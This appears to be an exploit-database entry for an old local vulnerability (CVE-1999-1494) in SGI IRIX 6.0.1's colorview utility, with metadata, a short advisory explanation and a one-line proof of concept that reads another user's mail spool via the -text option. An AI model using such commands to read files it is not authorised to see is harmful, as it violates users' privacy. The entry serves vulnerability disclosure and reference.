SGI IRIX 6.0.1 - 'colorview' Read Files

Author: Dave Sill
type: local
platform: irix
port:
date_added: 1995-02-09
date_updated: 2017-11-22
verified: 1
codes: CVE-1999-1494;OSVDB-979
tags:
aliases:
screenshot_url:
application_url:
raw file: 19269.txt

source: https://www.securityfocus.com/bid/336/info

Colorview fails to validate that the user has access to the file supplied to the -text option. As a result, users can view arbitrary files.

/usr/sbin/colorview -text /var/spool/mail/admin